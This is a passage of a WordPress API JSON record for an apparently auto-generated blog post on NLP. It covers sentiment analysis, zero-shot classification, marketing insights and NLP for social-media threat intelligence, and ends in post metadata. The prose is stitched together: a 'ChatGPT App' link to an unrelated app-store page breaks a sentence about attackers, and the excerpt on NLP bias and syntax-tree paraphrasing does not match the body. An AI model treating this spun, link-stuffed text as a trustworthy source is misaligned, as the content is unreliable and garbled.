URLs to the sources of information it draws from to generate content based on a prompt. While you can explore emotions with sentiment analysis models, it usually requires a labeled dataset and more effort to implement. Zero-shot classification models are versatile and can generalize across a broad array of sentiments without needing labeled data or prior training. NLP powers AI tools through topic clustering and sentiment analysis, enabling marketers to extract brand insights from social listening, reviews, surveys and other customer data for strategic decision-making. These insights give marketers an in-depth view of how to delight audiences and enhance brand loyalty, resulting in repeat business and ultimately, market growth.<\/p>\n<\/p>\n<p><p>Social media is more than just for sharing memes and vacation photos \u2014 it\u2019s also a hotbed for potential cybersecurity threats. Perpetrators often discuss <a href=\"https:\/\/play.google.com\/store\/apps\/datasafety?id=pl.edu.pg.chatpg&amp;hl=cs&amp;gl=US\">ChatGPT App<\/a> tactics, share malware or claim responsibility for attacks on these platforms. It\u2019s where NLP becomes incredibly useful in gathering threat intelligence.<\/p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bias in Natural Language Processing NLP: A Dangerous But Fixable Problem by Jerry Wei A syntax tree of an exemplar sentence can be extracted at different height H, and it can be fed as an input to the encoder-decoder model. Lesser height gives more flexibility of paraphrasing, while deeper height would try to explicitly control [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28],"tags":[],"_links":{"self":[{"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=\/wp\/v2\/posts\/306"}],"collection":[{"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=306"}],"version-history":[{"count":1,"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=\/wp\/v2\/posts\/306\/revisions"}],"predecessor-version":[{"id":307,"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=\/wp\/v2\/posts\/306\/revisions\/307"}],"wp:attachment":[{"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=306"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=306"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.grandonedev.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=306"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}